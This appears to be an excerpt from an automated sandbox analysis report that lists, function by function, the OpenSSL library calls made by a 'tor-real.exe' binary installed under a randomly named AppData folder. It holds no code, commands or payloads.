Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B860 CRYPTO_malloc,CRYPTO_THREAD_lock_new,CRYPTO_new_ex_data,X509_up_ref,X509_chain_up_ref,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_dup_ex_data,CRYPTO_strdup,CRYPTO_memdup,ERR_put_error,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_memdup,ERR_put_error, 9_2_6C21B860
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239879 EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C239879
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C245846 CRYPTO_free, 9_2_6C245846
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C215855 strlen,CRYPTO_free,CRYPTO_strdup,CRYPTO_free,ERR_put_error, 9_2_6C215855
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209856 OPENSSL_sk_value,OPENSSL_sk_push,OPENSSL_sk_num,CRYPTO_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_set_cmp_func,OPENSSL_sk_sort,OPENSSL_sk_free, 9_2_6C209856
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F1868 BIO_get_data,BIO_get_shutdown,CRYPTO_free,BIO_get_init,BIO_clear_flags,BIO_set_init, 9_2_6C1F1868
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23B8AC OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free, 9_2_6C23B8AC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21F8E0 CRYPTO_zalloc,CRYPTO_free,__stack_chk_fail, 9_2_6C21F8E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23D8E8 CRYPTO_free,CRYPTO_free, 9_2_6C23D8E8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F18C6 CRYPTO_free,BIO_get_init,BIO_clear_flags,BIO_set_init, 9_2_6C1F18C6
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2098F9 CRYPTO_free,CRYPTO_free, 9_2_6C2098F9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2258C7 CRYPTO_realloc, 9_2_6C2258C7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F58F0 CRYPTO_free, 9_2_6C1F58F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2238D7 CRYPTO_free,CRYPTO_malloc,memcpy, 9_2_6C2238D7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23993B EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C23993B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F5930 CRYPTO_malloc,ERR_put_error, 9_2_6C1F5930
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23B957 OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_num,OPENSSL_sk_value, 9_2_6C23B957
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239983 EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C239983
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209984 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,OPENSSL_sk_new_null,CRYPTO_free, 9_2_6C209984
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F59B0 CRYPTO_free, 9_2_6C1F59B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225998 CRYPTO_free,CRYPTO_free, 9_2_6C225998
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2399E1 EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C2399E1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F19D3 BIO_get_data,BIO_get_shutdown,CRYPTO_free,CRYPTO_zalloc,BIO_set_init,BIO_set_data,BIO_clear_flags,BIO_get_data,BIO_set_shutdown,BIO_push,BIO_set_next,BIO_up_ref,BIO_set_init,BIO_get_init,BIO_clear_flags,BIO_set_init,ERR_put_error, 9_2_6C1F19D3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2259F0 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_realloc,CRYPTO_free,CRYPTO_free,CRYPTO_realloc, 9_2_6C2259F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F59E0 CRYPTO_zalloc,ERR_put_error, 9_2_6C1F59E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21DA30 CRYPTO_free,CRYPTO_memdup, 9_2_6C21DA30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209A39 CRYPTO_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_set_cmp_func,OPENSSL_sk_sort,OPENSSL_sk_free, 9_2_6C209A39
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22FA11 CRYPTO_free,time,CRYPTO_free,CRYPTO_malloc,memcpy, 9_2_6C22FA11
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F5A50 CRYPTO_free, 9_2_6C1F5A50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C241A44 CRYPTO_clear_free,ERR_put_error, 9_2_6C241A44
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FDA77 CRYPTO_malloc, 9_2_6C1FDA77
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21FA58 CRYPTO_free, 9_2_6C21FA58
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23FAA2 OPENSSL_sk_new_null,d2i_X509,OPENSSL_sk_push,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_memcmp,OPENSSL_sk_num,X509_free,OPENSSL_sk_shift,OPENSSL_sk_pop_free,OPENSSL_sk_value,X509_get0_pubkey,CRYPTO_free,__stack_chk_fail, 9_2_6C23FAA2
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209AB1 CRYPTO_free, 9_2_6C209AB1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225A87 CRYPTO_free,CRYPTO_free, 9_2_6C225A87
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22FAE9 EVP_sha256,EVP_Digest,EVP_MD_size,CRYPTO_free, 9_2_6C22FAE9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C227AD1 CRYPTO_free,__stack_chk_fail, 9_2_6C227AD1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C233B2C CRYPTO_malloc,memcpy,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_put_error,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,__stack_chk_fail, 9_2_6C233B2C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225B17 CRYPTO_realloc, 9_2_6C225B17
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23BB16 OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free, 9_2_6C23BB16
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C233B69 CRYPTO_malloc,memcpy, 9_2_6C233B69
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239BA7 CRYPTO_free, 9_2_6C239BA7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C227BB7 CRYPTO_free, 9_2_6C227BB7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21FBB6 CRYPTO_zalloc,CRYPTO_free, 9_2_6C21FBB6
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21FBEC CRYPTO_free, 9_2_6C21FBEC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225BEC CRYPTO_free,CRYPTO_free, 9_2_6C225BEC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20DBC0 CRYPTO_free,BUF_MEM_free,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,COMP_CTX_free,COMP_CTX_free,EVP_MD_CTX_free,EVP_MD_CTX_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,ERR_put_error,ERR_put_error, 9_2_6C20DBC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203BC0 EVP_PKEY_CTX_new,EVP_PKEY_derive_init,EVP_PKEY_derive_set_peer,EVP_PKEY_derive,CRYPTO_malloc,EVP_PKEY_derive,CRYPTO_clear_free,EVP_PKEY_CTX_free,__stack_chk_fail, 9_2_6C203BC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20D420 X509_VERIFY_PARAM_free,CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,ENGINE_finish,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,CRYPTO_THREAD_lock_free,CRYPTO_free, 9_2_6C20D420
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C229430 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,__stack_chk_fail,time,__stack_chk_fail,EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key,EVP_sha256,EVP_DigestSignInit,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free, 9_2_6C229430
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C205480 CRYPTO_zalloc,CRYPTO_THREAD_lock_new,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_malloc,memcpy,CRYPTO_malloc,memcpy,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_free, 9_2_6C205480
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20148C CRYPTO_free,CRYPTO_memdup, 9_2_6C20148C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F14A9 CRYPTO_zalloc,BIO_set_init,BIO_set_data,BIO_clear_flags,ERR_put_error, 9_2_6C1F14A9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2254D0 CRYPTO_memdup,CRYPTO_free,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free, 9_2_6C2254D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22553B CRYPTO_free, 9_2_6C22553B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21D53B CRYPTO_free,CRYPTO_malloc,memcpy,ERR_put_error, 9_2_6C21D53B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203510 CRYPTO_malloc,memcpy,memcpy,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_malloc,memset,OPENSSL_cleanse,CRYPTO_clear_free, 9_2_6C203510
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C245560 CONF_parse_list,CRYPTO_malloc,memcpy,CRYPTO_free,CRYPTO_free,ERR_put_error,__stack_chk_fail,CRYPTO_malloc,memcpy,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C245560
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249570 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free, 9_2_6C249570
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23F549 CRYPTO_clear_free,EVP_PKEY_CTX_free,ASN1_item_free, 9_2_6C23F549
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21D55B CRYPTO_free,CRYPTO_malloc,memcpy, 9_2_6C21D55B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239558 BN_num_bits,BN_bn2bin,EVP_PKEY_size,EVP_DigestSignInit,EVP_DigestSign,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C239558
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21F583 CRYPTO_free, 9_2_6C21F583
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C229589 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free, 9_2_6C229589
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21F5E9 CRYPTO_free, 9_2_6C21F5E9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23F5F1 CRYPTO_clear_free, 9_2_6C23F5F1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21F5C4 CRYPTO_free, 9_2_6C21F5C4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2255D4 CRYPTO_free,CRYPTO_memdup,CRYPTO_memdup, 9_2_6C2255D4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C207600 COMP_zlib,CRYPTO_mem_ctrl,OPENSSL_sk_new,COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,OPENSSL_sk_sort,CRYPTO_mem_ctrl, 9_2_6C207600
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F5630 CRYPTO_zalloc,ERR_put_error,memcpy,BUF_MEM_grow,BUF_MEM_grow, 9_2_6C1F5630
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23D611 CRYPTO_zalloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,__stack_chk_fail, 9_2_6C23D611
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C245664 CRYPTO_free, 9_2_6C245664
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C215660 CRYPTO_set_ex_data, 9_2_6C215660
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C215670 CRYPTO_get_ex_data, 9_2_6C215670
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C215640 CRYPTO_set_ex_data, 9_2_6C215640
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225647 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C225647
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21D650 CRYPTO_THREAD_write_lock,OPENSSL_LH_get_down_load,OPENSSL_LH_set_down_load,OPENSSL_LH_doall_arg,OPENSSL_LH_set_down_load,CRYPTO_THREAD_unlock,__stack_chk_fail, 9_2_6C21D650
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C215650 CRYPTO_get_ex_data, 9_2_6C215650
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20D653 CRYPTO_free,EVP_PKEY_free,CRYPTO_free, 9_2_6C20D653
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2256A0 CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C2256A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2076A4 CRYPTO_free, 9_2_6C2076A4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20D6B0 X509_VERIFY_PARAM_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,X509_free,CRYPTO_free_ex_data,BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,COMP_CTX_free,COMP_CTX_free,EVP_MD_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free, 9_2_6C20D6B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249680 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free, 9_2_6C249680
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B68B CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock, 9_2_6C21B68B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C211696 ERR_put_error,CRYPTO_free, 9_2_6C211696
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B6E0 CRYPTO_get_ex_data, 9_2_6C21B6E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2256EC CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C2256EC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B6F0 CRYPTO_zalloc,time,CRYPTO_THREAD_lock_new,CRYPTO_new_ex_data,ERR_put_error,CRYPTO_THREAD_lock_free,CRYPTO_free,ERR_put_error,CRYPTO_free, 9_2_6C21B6F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2296F1 EVP_PKEY_free,CRYPTO_free, 9_2_6C2296F1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B6D0 CRYPTO_set_ex_data, 9_2_6C21B6D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22F720 CRYPTO_free,time,CRYPTO_free,CRYPTO_malloc,memcpy,EVP_sha256,EVP_Digest,EVP_MD_size,CRYPTO_free,__stack_chk_fail, 9_2_6C22F720
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20173A CRYPTO_free,strlen,CRYPTO_strdup,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C20173A
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21D700 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock, 9_2_6C21D700
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C201702 CRYPTO_free, 9_2_6C201702
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C231747 EVP_MD_CTX_free,CRYPTO_free,CRYPTO_strndup, 9_2_6C231747
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C215744 strlen,CRYPTO_free,CRYPTO_strdup,CRYPTO_free,ERR_put_error, 9_2_6C215744
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C245758 CRYPTO_free, 9_2_6C245758
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C203789 CRYPTO_clear_free, 9_2_6C203789
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20578C CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup, 9_2_6C20578C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C223790 CRYPTO_strdup, 9_2_6C223790
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C249790 BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_put_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,ERR_put_error, 9_2_6C249790
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C225795 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_realloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C225795
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2457E0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C2457E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22F7EC CRYPTO_free, 9_2_6C22F7EC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2397C4 BN_num_bits,BN_bn2bin,EVP_PKEY_size,EVP_DigestSignInit,EVP_DigestSign,CRYPTO_free,BN_num_bits,BN_num_bits,memset,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free, 9_2_6C2397C4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2157D8 CRYPTO_free, 9_2_6C2157D8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C205033 i2d_X509_NAME,i2d_X509_NAME,CRYPTO_free,CRYPTO_free,memcmp,__stack_chk_fail, 9_2_6C205033
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C217010 CRYPTO_free,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_memdup, 9_2_6C217010
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F5050 CRYPTO_free,CRYPTO_free, 9_2_6C1F5050
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23B059 CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free, 9_2_6C23B059
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22D0A0 CRYPTO_malloc,memcpy, 9_2_6C22D0A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23B0A7 CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free, 9_2_6C23B0A7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C211080 CRYPTO_zalloc,CRYPTO_THREAD_lock_new,OPENSSL_sk_dup,X509_VERIFY_PARAM_new,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_new_ex_data,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_free,ERR_put_error, 9_2_6C211080
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C235089 CRYPTO_free,EVP_MD_CTX_free, 9_2_6C235089
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C201090 CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C201090
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2170E1 CRYPTO_free, 9_2_6C2170E1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2350E0 EVP_MD_CTX_new,X509_get0_pubkey,EVP_PKEY_size,BIO_free,EVP_MD_CTX_free,CRYPTO_free,EVP_PKEY_id,EVP_DigestVerifyInit,EVP_PKEY_id,EVP_DigestVerify,EVP_PKEY_id,EVP_PKEY_id,CRYPTO_malloc,BUF_reverse,EVP_DigestUpdate,EVP_MD_CTX_ctrl,EVP_DigestVerifyFinal,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,__stack_chk_fail,memcpy,memcpy, 9_2_6C2350E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2050E8 CRYPTO_free,CRYPTO_free,memcmp, 9_2_6C2050E8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F50FC CRYPTO_free,CRYPTO_free, 9_2_6C1F50FC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C205120 CRYPTO_THREAD_run_once, 9_2_6C205120
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22112C OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,OPENSSL_sk_free,__stack_chk_fail,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,OPENSSL_sk_free,__stack_chk_fail,CRYPTO_malloc,memcpy, 9_2_6C22112C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C205108 CRYPTO_free,CRYPTO_free, 9_2_6C205108
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22D111 CRYPTO_malloc,memcpy, 9_2_6C22D111
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C205160 CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_put_error,ERR_put_error,CRYPTO_free, 9_2_6C205160
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F5150 CRYPTO_zalloc,ERR_put_error,BUF_MEM_grow, 9_2_6C1F5150
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22F140 CRYPTO_free,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,CRYPTO_free,__stack_chk_fail, 9_2_6C22F140
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C245180 CRYPTO_free, 9_2_6C245180
